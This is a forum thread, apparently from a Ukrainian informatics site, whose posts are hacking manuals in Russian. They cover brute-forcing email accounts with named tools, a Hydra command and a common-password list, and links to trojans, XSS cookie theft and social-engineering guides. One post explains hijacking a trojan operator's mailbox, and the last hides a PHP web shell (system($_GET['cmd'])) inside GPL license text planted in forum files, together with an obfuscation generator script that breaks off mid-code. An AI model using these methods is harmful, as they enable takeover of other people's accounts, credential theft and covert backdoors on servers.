Пн, 20.11.2017, 06:02
Форум інформатиків України
Головна Реєстрація Вхід
Вітаю Вас, Гість · RSS
Вітання на форумі
Незнайомець
Вітаємо на форумі,
Незнайомцю!

   
зареєструйтесь
Перед реєстрацією обов’язково прочитайте:
Оновлення Учасники Пошук
Особисті повідомлення
Видавництво ’’Аспект’’ Видавництво

Сторінка 1 з 3123»
Модератор форуму: Bandalak, Ktara, НІКОЛЯ, volevikt 
Форум інформатиків » РОЗДІЛ ІХ: ІНТЕРНЕТ, МЕРЕЖІ, ХОСТІНГ » 9.8 Рубрика системного адміністратора » ЗАХИСТ ТА ПРИКЛАДИ ВЗЛОМУ ВСЬОГО ЧОГО ТІЛЬКИ МОЖЛИВО. (ФОРМАТ ОБГОВОРЕННЯ ВІЛЬНИЙ)
ЗАХИСТ ТА ПРИКЛАДИ ВЗЛОМУ ВСЬОГО ЧОГО ТІЛЬКИ МОЖЛИВО.
НІКОЛЯ Дата: Пт, 10.12.2010, 09:40 | Повідомлення № 1
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
В даній темі будуть наводитись приклади взлому мил, програмного забезпечення, серваків, та іншого добра. Кому неподобається прохання гуляти мимо!
Матеріал та приклади наведені в темі дадуть можливість вивчити основні методи роботи для захисту власних ресурсів.
Дозволяється викладати приклади як свої власні так і чужі. Авторство необов'язкове, посилання теж.
НІКОЛЯ Дата: Пт, 10.12.2010, 09:57 | Повідомлення № 2
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Faq или полный мануал по взлому почтовиков

Существует достаточно много способов взлома почтовых ящиков в не зависимости от того на каком домене они распологаются.
От простого нудного брута до кражи Cooky. Рассмотрим каждый из них подробно.

НАМБА_1(1): Брут.

Брут-это достаточно долгий процесс взлома, если смотреть со стороны. Так сказать, лобовая атака. При этом время, которое можно потратить на взлом этим способом напрямую зависит от чела, которого ты ломаешь. Будь то ламер или вумный юзверь, либо ][ацкер.
Поскольку от образованности чела в этом деле зависит длинна и сложность пассворда, который он поставит себе на почтовик.
Углубимся в этот метод взлома и рассмотрим соответствующий софт, необходимый для этого.
Первой и наиболее распространенной прогой для взлома почтовиков является Brutus AET2.

Что куда записывать и как заставить эту прогу правильно работать при взломе найдете вот ТУТ .

Скачать: http://www.securitylab.ru/

Программулька достаточно давно живет в инете и получила признание у многих взломщиков. ОДнако в нынешнее время наблюдаются небольшие глюки у этой проги. Например, бывает так, что в процессе брута, если пасс будет стоять в конце (200 место в словаре к примеру), то она может пропустить этот пасс.
Линчо у меня бывало так, что она находила пассворд тока со второго круга а первый раз пропускала. ОДним словом, прога хорошая, многофункциональная. Способная брутить мыльники не зависимо от того, на каком домене распологается почтовик. ОДнако для нее важное значение играет расположение правильного пассворда в словаре.
А именно, его позиция среди других слов. Чем оно ближе, тем для вас же лучше. И это касается не только именно этой проги, но и также остальных. Так что, прежде чем исользовать её, пораскиньте мозгами какие ключевые слова задать перед генерацией словаря.

Для генерации словаря хорошо подойдет PassWordsPro. Программа кульная, предназначенная не только для генерации слов, но и так же для генерации хешей. Таких как md4, md5, MSCash, Sha-1, MySQL....
ПОлностью описывать все ее функции не буду. Сами разберетесь, когда придет время для расшифровки хешей. Да и объяснение принципов расшифровки и генерации хешей не относится к этой теме.

Скачать: http://www.insidepro.com/download/passwordspro.zip

Если вышеизложеной информации вам не достаточно по использование Brutus AET2, то вот урл на видео:

Скачать: http://video.antichat.ru/download_109.html

Так, поехали дальше.

НАМБА_1(2): Mail_ru_brut_by_Zlo_v3.0.

Если мне не изменяет моя ПАМ., то на данный момент это последний релиз данной проги, которая находится в паблике.

Вот скрин.

Скачать: http://www.xakbios.net/

Эта прога даже легче Brutus, если сравнивать их две. КОРоче, постараюсь обьяснить все по пальцам. Тут даже никакого ФАКА не понадобиться. КОроче, значит так. Софтвина эта начинает работать тока когда заходишь на пагу самого Зло.
Ну, точнее вместе с запуском проги запускается пага разработчика. И ни что с этим не поделаешь, уж так наверное захотелось её создателю, чтобы больше народу заходило на его портал. Ну да ладно, ближе к телу. Поле Mail;Pass. Тут ничего менять не стоит. Просто создаешь на системом логическом разделе своего харда текстовичок с названием unr.txt.
Кидаешь туда "куцэ" сгенереные тобой мыльники в таком виде:

Vasya_Pupkin@mail.ru ;qwerty.
Vasya_Pupkin@mail.ru ;askjdh
Vasya_Pupkin@mail.ru ;sakajshds

Ну где тут мейлер а где пасс думаю видно. В поле Save Good а именно в текстовичке ssafsa.txt, который ты должен тож создать на С:/> будут сэйвиться набрученные в процессе взлома пассы на почтовик(и).
Поля Theards и ТimeOut лучше оставь по дэфолту.

1)Position - показывает позицию пасса на котором остановился брут, если сделана пауза.
2) Ну и есессно ты мож брутить ч-з проксю.
Поле Theards соответственно (3), показывает число и скорость потоков в процессе брута.

Да и еще заранее оговорюсь. КАк правило, на паге Zlo предлагается купить не бажную версию данной софтвины с возможностью халявного апдейта. КОнечно можно купить, т.к некоторые версии этой проги не воспринимают русскоязычные слова в процессе брута.
Но вопрос покупки уже стоит перед вами. Если ты сынка банкира, то мож купить. Но думаю даже и таким охота халявы)))
Это мануал подробней некуда....

К вашему сожалению (а может и без сожаления) видео по использованию данной проги нет.
Но а если глянуть со стороны, что тут сложного. И без видео думаю справиться можно.

Софт с помощью которого можно сгенерить брут-лист наз-ся UIN Generator.
Так же, с помощью данной софтвинки можно сгенерить и листы пассов для брута асек.
Но это уже другая тема.

Скачать: http://www.proxy-forum.org/files/ic...n/generator.rar

В поле номер (Один уин) вписываем мыло жертвы. В поле (Пароль), расположенное ниже отмечаем галочку на "словарь" и задаем путь к словарю, который вы хотите использовать для брута мыльника.
После всего этого нажимаем генерировать (на поле "Один номер") и пойдет процесс составления брут-листа.

Так, поехали дальше.

НАМБА_1(3): Duk3NN Mail Bruter 3.03 F I N A L edition.

В принципе, программулька не плохая. Может кто ее юзал чаще меня возразит. Но это его право и осуждать его и уж падавно спорить с ним не буду. Ибо каждый при своем мнении.
Познакомимся с ней поближе.

Скачать: http://jerimi-3434.narod.ru/mb303final.rar

Здесь есть несколько вкладок. На вкладке Process отображается непосредственно сам процесс брута.
Число потоков, используемых проксиков,лог брута и др. На этой вкладке и осуществляется запуск процесса брута.

Следующая вкладка Brute Options. Тут задаются параметры для брута.
Тут можно брутить как с загрузкой mail;pass листа как в Mail.ruBrute, так и задав домен на котором находится почтовик жертвы.
Отличием этой проги то двух представленных выше является то, что тут можно загрузить лист прокси а не менять его в ручную каждый раз, когда это необходимо как, например в Mail.ruBrute. Не говоря уже о Brutus, которая работает вообще тока через Socks v4, v5.

@Mail.ru брутфорс.

===========================================
Описание файла настроек
-----------------------
[Item <порядковый номер>]
Title=<Название>
Host=<Хост>
Req=<Запрос (строчки в заросе разделяются знаком # Например: Req=POST mailserver.com HTTP/1.0#Referer: mailserver.com>
Data=<Информация отправляемая серверу>
Bytes=<Кол-во принимаемых байт>
Good=<Признак нужного ответа>

%login% - Заменяется на имя пользоавтеля
%pass% - Заменяется на пароль

%login% И %pass% могут быть в Req и Data одновременно.

Видео: Думаю без надобности.

Следующая софтвинка, которая достаточно хорошо себя зарекомендовала во взломе почтовиков в зоне Nextmail.ru является Nextmail.ru Bruteforce.

Итак.

НАМБА_1(4): Nextmail.ru Bruteforce.

Брутфорс для подбора паролей к почтовым ящикам на nextmail.ru включая поддомены:
nextmail.ru
nxt.ru
email.su
russian.ru
xaker.ru
students.ru
mail2k.ru
dezigner.ru
programist.ru

Скачать: http://www.xicq.org/pub/icq/brutefo..._bruteforce.rar

Программулька проста в освоении. И не освоить ее может тока самый последний ламер. Поля Theards, Remains и Processed мы рассматиривать не будем. В этом нет надобности, потому что значение этих полей такое же как и в Mail.ru Brute.
Рассмотрим поля ниже. Хотя они такие же как в Mail.ru Brute, но коль уж я сказал про них, то приступим. Поле Inlist. Тут задается путь к брут-листу, который будет в виде блаблабла@nextmail.ru;мухосранск.
Гинерить его думаю догадываетесь чем. (Пасс-лист)

Поле Good. Тут задается путь к тестовичку в который будут скидываться правильно набрученные пароли.
Theards: потоки (соответственно)
Autosave: порядок сохранения работы в процессе брута.

После задания всех настроек жмем OK и start. И пляшем с музыкой и бубнами, чтобы брут оказался удачным.

Видео: Отсутствует по причине того, что всё тут и так разжевано.

НАМБА_1(5): Yandex Mail Bruteforcer.

Программулька достаточно примитивна, поэтому не вижу надобности описывать че куда записывать.

Скачать: [forbidden link]

Видео: Нэма и не нада.

НАМБА_1(6): Hotmail bruteforce.

Прога, которая хорошо чебя зарекомендовала во взломе почтовиков всем известного домена Hotmail.
Ну, описывать ее я не буду сразу видно, что принцип действия у неё такой же, как и у таких прог этого семейства (Nextmail bruteforce и др.)

Скачать: http://jerimi-3434.narod.ru/hotmail.rar

НАМАБА_1(7): Earthlink.net bruteforce.

Программа для перебора паролей на знаменитом почтовом сервисе earthlink.net, включая все его поддомены.
Если мыло давно не использовалось, то оно замораживается, и если у вас не получается зайти в почту, используя сбрученный логин и пасс, то этот аккаунт скорее заблокирован, чем программа дала сбой.
Проверить емейл на пригодность можно тут:
(https://myaccount.earthlink.net/cam/track?id=blogin.content.0&add=1)
Принцип работы такой же, как и у вышепредставленной проги.

Скачать: http://lifar.com.ru/content/uploads/erth.rar

Видео: Без надобности.

Выше представлен список прог наиболее часто используемый для взлома почты типа mail.ru, inbox.ru,
yandex.ru и др. Если же у вас возникнет потребность взломать почтовик на каком-либо другом домене, то вот список прог, которые помогут вам.

Pochta.ru brutefotce тут

Gala.net bruteforce тут

Juno.com Bruteforce тут

Walla.com Bruteforce тут

OperaMail.com Bruteforce тут

Km.ru Bruteforce тут

Следующей прогой в нашем списке будет всем известна Hydra.

НАМБА_1(8): Hydra.

Сразу оговорюсь для новичков. Чтобы юзать эту прогу для взлома мыльников нужно иметь шелл. ЧТо такое шелл и с чем его едят думаю вас известно. Но если нет, то вот вам небольшой манульчик:

Shell-аккаунт - что это?
http://forum.antichat.ru/thread28163.html

__________________________________________________ ____

Скрин этой проги приводить не буду. Она консольная. А консоль думаю каждый видел. И приводить скрин консоли будет полное извращенство.
Hydra в основном используется для взлома, когда имеется шелл. Чтобы заиметь шелл, нужно похатчить
сервант. Как вы будете это делать это уже ваша забота.

Как правило она используется и работает под Linux или Unix. Одним словом на любой никсовой ОС.

Версия для Unix'a/Linux'a.

Скачать: http://thc.org/download.php?t=r&f=hydra-4.7-src.tar.gz
Сорцы: http://jerimi-3434.narod.ru/hydra-5.3-src.tar.gz

Но так же есть и версия под форточки (Win). Такую версию хорошо юзать, если имеешь бычью скорость инета.

Версия для Windows.

Скачать: http://video.antichat.ru/download_110.html

Как заливать на шелл Гидру, ньюбесам думаю будет интересно. Поэтому я выложу последовательность заливки на шелл. Хотя описание где-то было на ачате. Ну да ладно, принцип один.

Сначала стянем архив.
wget http://thc.org/download.php?t=r&f=hydra-4.7-src.tar.gz
Распаковываем
gzip -d hydra-4.7-src.tar.gz
tar -xf hydra-4.7-src.tar
или
tar -xzf hydra-4.7-src.tar.gz
И ставим
cd hydra-4.7-src
./configure
make
make install
можно копирнуть назад и удалить исходники
cp hydra ..
cd ..
rm -rf hydra-4.7-src
Работаем
./hydra (для справки)
./hydra -l lamer -P pass.txt -w 20 -t 10 pop.server pop3
для подбора пароля из словаря pass.txt к логину lamer
на сервере pop.server, timeout=20 sec, потоков 10.

================================================== ==============

Приведу список наиболее часто используемых паролей для почтовиков:

12345 0000
123456 000000
1234567 111
12345678 1111
123456789 11111
1234567890 11111
0987654321 111111
1029384756 123
192837465 123123
11111 123321
123123 1234
666999 12345
999666 123456
qwerty 1234567
admin 123654
adminpass 4444
qweqwe 555
qweqweqwe 55555
asdf 555555
asdfg 654321
pass 666
password 666666
parol 666999
hack 777
hacker 7777
hackme 777777
keyboard 7777777
access

========================================

Тут можно скачать словари для брута.

Скачать:

1) http://advlamer.narod.ru/brute.htm
2) http://advlamer.narod.ru/dict/advlamer-digits.rar
3) http://www.hackersplayground.org/wordlists.html
4) http://passcrack.spb.ru/modules/Fil...c/passcrack.rar
5) http://advlamer.narod.ru/dict/advlamer-digits.rar
6) http://freeware32.ru/index.php?program=830&name=Brute_Dictionary_Tool
7) http://www.passwords.ru/dic.php
8) ftp://ftp.cerias.purdue.edu/pub/dict/

НІКОЛЯ Дата: Пт, 10.12.2010, 10:01 | Повідомлення № 3
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Здесь большей частью будут собраны линки на статьи, топики и видео, где рассмотрены основные принципы эксплуатации этой и других узвимостей почтовых служб.

Ну, ближе к телу.
++++++++++++++++++++++++++++++++++

Видео

XSS на mail.ru.
Скачать: http://video.antichat.ru/file213.html

XSS на hotmail.com.
Скачать: http://video.antichat.ru/file213.html

Уязвимости почтовой службы yahoo.com.
Скачать: http://video.antichat.ru/file181.html

Уязвимости почтовой службы mail.ru.
Скачать: http://video.antichat.ru/file180.html

XSS на zhuki.mail.ru.
Скачать: http://video.antichat.ru/file172.html

Взлом ящика на nm.ru.
Скачать: http://video.antichat.ru/download_52.html

Взлом ящика на e-mail.ru.
Скачать: http://video.antichat.ru/download_51.html

Как получить чужие письма на рамблере.
Скачать: http://video.antichat.ru/download_113.html

Перехват сессии на сервере pochta.ru.
Скачать: http://video.antichat.ru/download_8.html

XSS на почте Yandex.Ru
Скачать: http://video.antichat.ru/download_4.html

++++++++++++++++++++++++++++++++++++++++

Статьи

Активная XSS на mail.ru
http://forum.antichat.ru/thread11318.html

Активная XSS на http://pochta.ru/
http://forum.antichat.ru/thread28645.html

XSS mail.ru rambler.ru
http://forum.antichat.ru/thread28497.html

Xss для новичков
http://forum.antichat.ru/thread20140.html

XSS, SQL-inj, PHP-inj и др. на примере phpBB
http://forum.antichat.ru/thread20191.html

Пачка пассивных XSS на neora.com
http://forum.antichat.ru/thread21437.html

XSS + Feik
http://forum.antichat.ru/thread27344.html

Зачем Cookie нужен
http://antichat.ru/txt/old/cookie.shtml

ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ
http://antichat.ru/txt/hmail/

CGI-сниффер
http://antichat.ru/sniff/

Подборка сайтов по CSS, XML технологиям и Web2.0 решениям
http://forum.antichat.ru/thread18709.html

При помощи XSS кража cookies - Или новички сюда.
http://forum.antichat.ru/thread25933.html

Баги на Почте.ру
http://forum.antichat.ru/thread24000.html

Проводим XSS без javascript
http://forum.antichat.ru/thread13949.html

Реализация XSS на rambler.ru
http://forum.antichat.ru/thread24130.html

Захват ящика на email.ru(aport.ru,omen.ru,atrus.ru,au.ru,imail.ru, aport2000.ru)
http://forum.antichat.ru/thread5423.html

XSS крупным планом.
http://forum.antichat.ru/thread11807.html

XSS на www.pochta.ru
http://forum.antichat.ru/thread12124.html

Захват ящика на e-mail.ru
http://forum.antichat.ru/thread5556.html

Захват ящика на pochta.ru
http://forum.antichat.ru/thread5899.html

В целом, прочитав весь этот материал и просмотрев видео уже и так думаю все будет понятно где и как эксплуатировать эти уязвимости.

НАМБА_3(1): Трои.

Я думаю перед каждым из нас, когда приходит нужна взломать чей-нить мыльник встает вопрос. Как ломать? Некоторые подумают сразу-Трой. И подумают правильно. Ибо нет проще метода кинуть троя жертве и получить заветные пассы на мыльник или аську.
Не буду рассказывать про то, как настраивать трои для их функциональности. За меня это сделали раньше.
Но все же приведу линки по которым можно будет скачать троя по вашему вкусу.

============================

Xinch v_1.5
Скачать: http://www.zm-team.h17.ru/Files/pinch-xinch/Xinch.rar

Pinch 2.58
Скачать: http://narod.yandex.ru/100.xhtml?zm.../pinch_2.58.rar

Pinch 2.59
Скачать: http://forum.antichat.ru/thread28335.html

Pinch 1.0
Скачать: http://jerimi-3434.narod.ru/pinch1.0.ra

+++++++++++++++++++++++++++++++

Видео.

Конфигурирование и использование трояна Xinch.
http://video.antichat.ru/file174.html

Рассказ о трояне Пинч 1.0
http://video.antichat.ru/file85.html

+++++++++++++++++++++++++++++++

Статьи.

Троянизация на коленке.
http://forum.antichat.ru/thread14498-Xinch.html

Хинч по чттп - для новичков.
http://forum.antichat.ru/thread21767-Xinch.html

Настройка троянов Xinch/Pinch. Все вопросы по пинчу только в этом теме!
http://forum.antichat.ru/thread19273.html

Инструкция по Pinch 1.0
http://forum.antichat.ru/thread24564.html

================================================== ========================
Статьи.

Седьмая нота. СИ и её практическое применение.
http://forum.antichat.ru/thread25546.html

КАК ПИСАТЬ ПИСЬМА> В ПОМОЩЬ СОЦИАЛЬНОМУ ИНЖЕНЕРУ
http://forum.antichat.ru/thread10865.html

СИ + Pinch (для новичков)
http://forum.antichat.ru/thread14387.html

Методы СИ
http://forum.antichat.ru/thread19659.html

Как узнать пароль (СИ)
http://forum.antichat.ru/thread16545.html

Ещё раз о СИ
http://forum.antichat.ru/thread15052.html

Как узнать код доступа (СИ)
http://forum.antichat.ru/thread14653.html

Как получить пароли(СИ)
http://forum.antichat.ru/thread8171.html

================================================== ===

НІКОЛЯ Дата: Пт, 10.12.2010, 10:40 | Повідомлення № 4
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Обратная сторона трояна.

Всем нам приходят трояны. Они приходят через почту или icq. Обычно мы их удаляем или игнорируем ссылки на них. В статье я распишу один из способов получения выгоды из чужого трояна.

немного о трояне
Всем понятно, что троян куда-то посылает ваши пароль, обычно это почта или гейт. В статье буду рассматривать посылку паролей на почту.

а что несёт в себе троян?
Даже нубу известно, что троян ворует пароли, но не каждый смекнул, что по сути троян сам в себе несёт пароль от какой-то почты. А происходит это по следующей причине: большинство smtp серверов требуют авторизацию. Значит троян должен вначале авторизоваться на smtp сервере, а только потом он сможет отправить письмо. (Пару лет назад авторизации на smtp небыло даже на mail.ru. Какие были времена..) Вот этот логин\пароль для авторизации мы и будем доставать.
Естественно на своей машине запускать троян как-то не хочется, поэтому будем запускать на виртуальной (на неё вам нужно установить win)

toolz
Мы будем использовать две программы
vmware - виртуальная машина. Имеется 30-ти дневный бесплатный ключ.
wireshark- снифер пакетов. Бывший ethereal.

begin
Как вы наверно уже поняли, мы будем запускать троян на виртуальной машине, а на своей реальной машине будем сниферить куда какие пакеты идут. (в принципе если вы это поняли и знаете как это делается, то дальше можно не читать)
Сперва запускаем снифер и настраиваем его на интерфейс смотрящий в интернет.

Выбор интерфейса

Выбираю интерфейс eth0 (жму start рядом с ним) Снифер работает.
Теперь нам нужно запустить сам троян под vmware. Тут я думаю обойдёмся без скриншотов Запуск под vmware совершенно безопасен для вашей винды.
Запустили. Троян отправил рапорты. Теперь возвращаемся к сниферу.
Останавливаем процесс сбора пакетов (такая красная кнопочка)
находим smtp пакет и смотрем содержимое (folow tcp stream)

нужный кусок содержимого


Красным цветом снифер отмечает пакеты, которые отсылаете ВЫ, а синим отмечены ответы на ваши пакеты.

Что мы имеем?
Итак. Начинаем разбирать что имеем.

Код:

220 mail.ru ESMTP Tue, 26 Jun 2007 13:36:32 +0400
От сюда понятно, что smtp сервер mail.ru
AUTH LOGIN
Это значит, что троян сейчас будет посылать логин\пароль
eFh4LVNvZnR3YXJl
это троян послал логин
NjZiOTMzNWM2ZDFhOTUxOA==
это пароль

Так же из снифера можно узнать куда и откуда идёт письмо.
Пока наш логин\пароль не очень похож на нормальный логин\пароль. Согласно спекам протокола smtp такие вещи передаются в base64. Естественно их нужно декодировать. Это очень просто сделать, достаточно ввести в google base64 decoder и будет куча ссылок. Например вот этот кодер\декодер
Декодируя логин\пароль мы получим
логин - xXx-Software
пароль - 66b9335c6d1a9518
Вот мы и получили заветный логин\пароль от почты, через которую троян посылает пароли.

Ошибка в настройке трояна
Очень часто юные впариватели указывают в настройках того же пинча логин\пароль от той же почты, куда и идут рапорты трояна. Для нас это конечно идеальный вариант и он очень часто встречается в сети. Три из трёх троянов, которые в последние дни мне пытались впарить были именно такие. =)
Естественно при таком раскладе мы имеем доступ к рапортом трояна. Тоесть наш герой трудиться и впаривает трояны, а мы берём уже готовые рапорты =)))

А если троян настроен нормально?
Тут уже поживиться чужими рапортами не получиться т.к. троян логиниться под одной почтой, а посылает на другую. Пока я не встречал почтовых серверов (я просто ими не пользуюсь), где была бы доступна опция сохранения исходящих писем через smtp. Если появятся такие почтовые службы, то мы опять сможем контролировать все рапорты. В любом случае мы можем сделать юному впаривателю западло, а именно изменить пароль на почту. И вся его рассылка трояна пропадёт т.к. троян не сможет зайти на сервер. (если конечно есть возможность смены пароля. Да и пароль можно восстановить)

НІКОЛЯ Дата: Пт, 10.12.2010, 13:01 | Повідомлення № 5
Знавець вірусів
Повідомлень: 2877
Нагороди: 17
Рейтинг: 201
Скрываем свой Php код в скрипте жертвы.

Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы "протроянить" его.
Дописать просто <?php system($_GET[cmd]); ?>, <?php include($_GET[inc]); ?> или даже <?php eval(base64_decode("...")); ?> - тупо, слишком заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php-код, да еще и закодированный в base64. Не порядок Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо текстом, например,

PHP код:
$license = " GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

_[Preamble]_

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
modification follow.";

(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы, собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с помощью вызова preg_replace с модификатором 'e':
PHP код:
@preg_replace("#(\d+)#e", $i, "31337");

, где $i - наш код. preg_replace найдет в строке '31337' один или более символов (регулярное выражение \d+) и произведет в ней замену согласно коду $i, который она перед этим выполнит; в добавок еще и будут подавлены все сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью аналогично @eval($i), за исключением того, что в $i не должно быть переносов строки.
Собирать код в строку будем разными способами. Например,

PHP код:
$i .= $license[123]; // банально :)
$i = $i.$license[123]; // разновидность предыдущего
$i = join('', array($i, $license[123])); // извращаемся с join() :)

мало того, все это еще обернем в вызов какой-либо функции, смысл которой близок к выполняемому скрипту. Например, если это гостевая книга с обилием вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде

PHP код:
@mysql_query($i = implode("", array($i, $license[48])));
@mysql_fetch_array($i .= $license[205]);
Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции для работы со строками, например, chop,nl2br,md5 для вида .
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:
PHP код:
$license = " $ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

_[Preamble]_

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
modification follow.";
@mysql_close($i = join("", array($i, $license[48])));
crypt($i = $i.$license[73]);
nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
md5($i = implode("", array($i, $license[8])));
@convert_cyr_string($i = $i.$license[13]);
nl2br($i = implode("", array($i, $license[339])));
@mysql_query($i = join("", array($i, $license[322])));
@mysql_close($i = join("", array($i, $license[685])));
md5($i = $i.$license[123]);
@mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i = implode("", array($i, $license[685])));
@mysql_close($i = $i.$license[331]);
@mysql_query($i = implode("", array($i, $license[82])));
chop($i .= $license[1285]);
@preg_replace("#(\d+)#e", $i, "31337");

В качестве примера использования рассмотрим Invision Power Board 2.1.7
Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить код без юзания GET'а, а, например, брать код из заголовка Referer или что-нибудь в этом роде).
Результат показан на картинке:
урл на картинку в статье не найден. (прим. от меня)

Естественно, писал весь этот код я не сам, а при помощи скрипта-перекодировщика, которому нужно скормить текст (для "выдирания" оттуда символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что показано выше, только в различных вариациях + результат выполнения сгенерированного кода.
Скрипт-перекодировщик:
PHP код:
<?
$license = <<<EOF
$ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

_[Preamble]_

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
EOF;

$text = "system(\$_GET['cmd']);";

function process_text($base_name, $out_name, $base, $text)
{
preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);

$functions = array( '@mysql_query', '@mysql_close', '@mysql_fetch_array', 'crypt', 'chop', 'nl2br', '@convert_cyr_string', 'md5' );

$encode = '$'.$base_name.' = "'.str_replace('"', '\\'.'"', $base).'";'."\n";

for($i=0;$i<strlen($text);$i++)
{

$p = strpos($base, $text[$i]);
if($p===false)
